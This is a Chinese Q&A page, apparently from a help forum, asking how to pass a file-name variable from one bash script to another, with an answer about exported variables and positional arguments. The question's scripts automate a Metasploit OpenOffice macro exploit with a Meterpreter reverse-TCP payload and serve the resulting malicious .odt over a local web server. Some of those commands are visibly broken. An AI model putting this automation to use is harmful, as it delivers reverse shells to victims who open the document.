将参数传递给不同的 bash shell

将参数传递给不同的 bash shell

我写了一个bash脚本

脚本1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc    

脚本2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi    

如何将 $name 参数从 script1 传递到 script2?

答案1

有两种可能:

  1. 使其成为导出变量(在这种情况下,我建议将其全部大写,即 NAME)。如果这样做,它将被放置在子进程的环境中。
  2. 将其作为显式参数传递。

示例 1:

# Use it as exported variable
export NAME
read -p .... NAME

示例 2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"

相关内容